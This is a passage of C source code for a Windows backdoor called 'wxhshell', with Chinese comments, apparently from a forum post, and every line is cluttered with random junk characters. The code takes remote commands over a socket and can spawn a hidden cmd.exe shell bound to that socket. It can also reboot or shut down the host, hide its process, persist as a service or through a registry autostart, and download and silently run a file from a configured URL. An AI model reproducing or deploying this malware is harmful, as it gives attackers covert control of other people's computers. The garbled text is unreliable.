      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \>8r)xC  
    break; .#py5&`%  
  } MjGeH>c  
  // 安装 ["5Z =4  
  case 'i': { k]J!E-yI8  
    if(Install()) - v\n0Jt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iw`,\V&  
    else Mi|PhDXMh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >]6 inS9  
    break; ;.%Ii w&WG  
    } 1J(` kQ)c  
  // 卸载 MS`wd  
  case 'r': { #bFJ6;g=V  
    if(Uninstall()) I/whpOg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yJ(BPSt  
    else 6\8 lx|w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s)?=4zJ  
    break; J;?#Zt]`L  
    } <r[5 S5y  
  // 显示 wxhshell 所在路径 [&6VI?  
  case 'p': { *} yOL [  
    char svExeFile[MAX_PATH]; wUnz D)  
    strcpy(svExeFile,"\n\r"); SONv] ));  
      strcat(svExeFile,ExeFile); \ C^fi}/]  
        send(wsh,svExeFile,strlen(svExeFile),0); n|G x29 E  
    break; Y}G9(Ci&  
    } ]p,sve vo  
  // 重启 ".n,R"EF  
  case 'b': { UODbT&&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fpCkT[&m  
    if(Boot(REBOOT)) } Mh@%2$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L|O'X4"&_  
    else { %/b3G*$W  
    closesocket(wsh); _;o)MTw|'  
    ExitThread(0); cc LTA  
    } O$'BJKj-4  
    break; Zd2B4~V  
    } vDG AC'  
  // 关机 ^qn,b/>L  
  case 'd': { hJuR,NP  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); jm|x=s3}h  
    if(Boot(SHUTDOWN)) --(e(tvf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jgcI|?yL  
    else { \v7->Sy8  
    closesocket(wsh); 6qCRM*V  
    ExitThread(0); 3^ct;gz  
    } rQ_!/J[9  
    break; ?{@UB*  
    } zz4TJ('  
  // 获取shell MfX1&/Z+  
  case 's': { {8'f>YP  
    CmdShell(wsh); ; O6Ez-"  
    closesocket(wsh); pZpAb+  
    ExitThread(0); ~EYsUC#B_  
    break; yuTSzl25,/  
  } br@GnjG  
  // 退出 \ O*8%  
  case 'x': { XI4le=^EM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *]L(,_:"  
    CloseIt(wsh); )# ^5$5  
    break; +pGkeZX  
    } In[!g  
  // 离开 ;zMZ+GZ?;+  
  case 'q': { vG`;2laY  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /7s^OkQ  
    closesocket(wsh); *bi!iz5F  
    WSACleanup(); *.4VO+^  
    exit(1); &, =Z  
    break; COV8=E~  
        } MF7q*f  
  } k9V#=,K0  
  } 7P& O{tl(  
y:C=Ni&,"  
  // 提示信息 ]c67zyX=%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D*!UB5<>/t  
} I}?+>cf  
  } 5_|Sm=  
XZ|%9#6  
  return; *wSz2o),  
} f WUFCbSU  
z5V~m_RO  
// shell模块句柄 RDX$Wy$@L  
int CmdShell(SOCKET sock) E%B:6  
{ ;x]CaG)f  
STARTUPINFO si; K\bA[5+N  
ZeroMemory(&si,sizeof(si)); ,Pq@{i#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !>n^ ;u  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; OoG Nij  
PROCESS_INFORMATION ProcessInfo;  BZ'63  
char cmdline[]="cmd"; 6k1;62Ntk  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kYwV0xQ  
  return 0; Hp#IOsP~  
} ^HO'"/tB@D  
z0yPBt1W  
// 自身启动模式 l\Q--  
int StartFromService(void) W8@o7svrh  
{ M%U1?^j8  
typedef struct +2qCH^80  
{ z 1~2w:  
  DWORD ExitStatus; VL[}  
  DWORD PebBaseAddress; Wu{cE;t  
  DWORD AffinityMask; vs*Q {  
  DWORD BasePriority; <-Hw@g  
  ULONG UniqueProcessId; PP]Z~ne0X  
  ULONG InheritedFromUniqueProcessId; V|v KYEFry  
}   PROCESS_BASIC_INFORMATION; sQIzcnKB  
Vo G`@^s  
PROCNTQSIP NtQueryInformationProcess; 8p91ni'  
bL6, fUS  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +dw=)A#/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2^V/>|W>w  
I(bxCiRV  
  HANDLE             hProcess; `vMrlKq  
  PROCESS_BASIC_INFORMATION pbi; _? aI/D  
u{Rgk:bn  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); AA&5wDMV>  
  if(NULL == hInst ) return 0; rV5QKz6'  
gwAZ2w  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [M;B 9-2$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); K6..N\7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @xq jAcfg  
a7Xa3 vlpO  
  if (!NtQueryInformationProcess) return 0; H N )@sLPc  
\DgWp:|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %UO ;!&K  
  if(!hProcess) return 0; Z7$"0%  
WxgA{q7:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M%aA1!@/  
`P(Otr[6  
  CloseHandle(hProcess); GIs *;ps7w  
gO9\pI 2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K:<0!C!  
if(hProcess==NULL) return 0; :m{;<LRV  
Bh%Yu*.f  
HMODULE hMod; ah8xiABa  
char procName[255]; d i;Fj  
unsigned long cbNeeded; Ok*aP+Wq  
u3VSS4RG%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); d[t+iBP;)  
xGBp+j1H  
  CloseHandle(hProcess); vgyv~Px]AW  
A4|L;z/A[h  
if(strstr(procName,"services")) return 1; // 以服务启动 9_/dj"5  
7)FI_uW  
  return 0; // 注册表启动 Y/Dah*  
} ~4}'R_  
8b!-2d:*  
// 主模块 f:!b0j  
int StartWxhshell(LPSTR lpCmdLine) :krdG%r  
{ m7n8{J1O2  
  SOCKET wsl; EPn0ZwnS:M  
BOOL val=TRUE; Ra~|;( %d  
  int port=0; {~=Z%Cj2Q  
  struct sockaddr_in door; BT3X7Cx  
eGEeWJ}[$  
  if(wscfg.ws_autoins) Install(); M{   
t:N3k ;k  
port=atoi(lpCmdLine);  FTk`Mq  
& 6-8$  
if(port<=0) port=wscfg.ws_port; :Qd{V3*]  
~d)2>A 2:  
  WSADATA data; @qaK5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vf&Sk`  
P&2/J%@zG  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (vXes.|+t  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y(2FaTjM  
  door.sin_family = AF_INET; ;v=v4f'+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Gd:fh5u':  
  door.sin_port = htons(port); B}|(/a@*  
qz]g4hS  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { nN|1cJ'.Fk  
closesocket(wsl); `{ 6K~(  
return 1; jeLC)lQ*  
} {YT@$K]w,  
"6} #65  
  if(listen(wsl,2) == INVALID_SOCKET) { +kdZfv>  
closesocket(wsl); mY& HK)  
return 1; X1J'  
} |."thTO  
  Wxhshell(wsl); @*s7~:VQ  
  WSACleanup(); '4 x uH3  
-$0w-M8'  
return 0; Z'ZN^j{  
KgCQ4w9  
} HT@/0MF{J  
/OaW4 b$Tz  
// 以NT服务方式启动 #sg^l>/*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m~x O;_m  
{ 6t0-u~  
DWORD   status = 0; *(pmFEc  
  DWORD   specificError = 0xfffffff; *^WY+DV  
017(I:V?(:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; g~Hmka_fD1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /#]4lFk:h  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; x*}*0).  
  serviceStatus.dwWin32ExitCode     = 0; omEnIfQSO  
  serviceStatus.dwServiceSpecificExitCode = 0; 5kju{2`GF  
  serviceStatus.dwCheckPoint       = 0; 99]&Xj  
  serviceStatus.dwWaitHint       = 0; CKau\N7T  
k5X& |L/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,vE)/{:d  
  if (hServiceStatusHandle==0) return; <T0+-]i  
!U?Z<zh  
status = GetLastError(); OY?x'h  
  if (status!=NO_ERROR) ]!=,8dY  
{ k#Bq8d  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }c1?:8p  
    serviceStatus.dwCheckPoint       = 0; r:QLO~l/  
    serviceStatus.dwWaitHint       = 0; N7WQ{/PSG  
    serviceStatus.dwWin32ExitCode     = status; nYF;.k  
    serviceStatus.dwServiceSpecificExitCode = specificError; )vcyoq  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); tI-u@ g  
    return; re-;s  
  } ^vQ,t*Uj=  
}1)tALA  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *>%tx k:)  
  serviceStatus.dwCheckPoint       = 0; O,+ZD^  
  serviceStatus.dwWaitHint       = 0; ?~_[/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,%uK^U.zk  
} )?zlhsu}1;  
<Jwx|  
// 处理NT服务事件,比如:启动、停止 >I^_kBa  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =SEgv;#KZ~  
{ mO1r~-~AJ  
switch(fdwControl) {;T7Kg.C  
{ ~$ FgiW  
case SERVICE_CONTROL_STOP: UOwEA9q%  
  serviceStatus.dwWin32ExitCode = 0; -%g&O-i\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L=1~)>mP  
  serviceStatus.dwCheckPoint   = 0; |[lmW%  
  serviceStatus.dwWaitHint     = 0; ztRe\(9bL  
  { Munal=wL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X\yy\`o  
  } v.~uJ.T  
  return; Z<2j#rd  
case SERVICE_CONTROL_PAUSE: ^jiYcg@_[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Q Jnji  
  break; &0='z  
case SERVICE_CONTROL_CONTINUE: rbEUq.Yk]~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }bZcVc2  
  break; |'R^\M Q  
case SERVICE_CONTROL_INTERROGATE: ~g_]Sskf7  
  break; Oz: J8l%  
}; ee+*&CT)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A/%+AH(  
} s,*kWy"jp  
K\2UwX  
// 标准应用程序主函数 n=+K$R  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) bx5f\)  
{ 6S2u%-]  
:nPLQqXGQ  
// 获取操作系统版本 PI5a 'k0F  
OsIsNt=GetOsVer(); b# RTHe&X  
GetModuleFileName(NULL,ExeFile,MAX_PATH); r{Cbx#;  
;<9dND  
  // 从命令行安装 zv%9?:  
  if(strpbrk(lpCmdLine,"iI")) Install(); :4(.S<fH)-  
m/`"~@}&  
  // 下载执行文件 4 )U,A~ !  
if(wscfg.ws_downexe) { < SIe5" {  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Cqy)+x_OQ,  
  WinExec(wscfg.ws_filenam,SW_HIDE); h ?Ni5  
} @/w ($w"  
 wP <)  
if(!OsIsNt) { $<~o,e-4  
// 如果时win9x,隐藏进程并且设置为注册表启动 wj'5D0   
HideProc(); !}TZmwf'  
StartWxhshell(lpCmdLine); >C1**GQ  
} t5qNfiKC  
else xXJl Qbs  
  if(StartFromService()) \"X<\3z2  
  // 以服务方式启动 %O! ~!'  
  StartServiceCtrlDispatcher(DispatchTable); <H,q( :pM  
else 'rX!E,59  
  // 普通方式启动 '4L0=G:A<q  
  StartWxhshell(lpCmdLine); %]zaX-2dm!  
wTL&m+xr  
return 0; ZE!dg^-L  
}
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只看该作者 1 发表于: 2006-10-10
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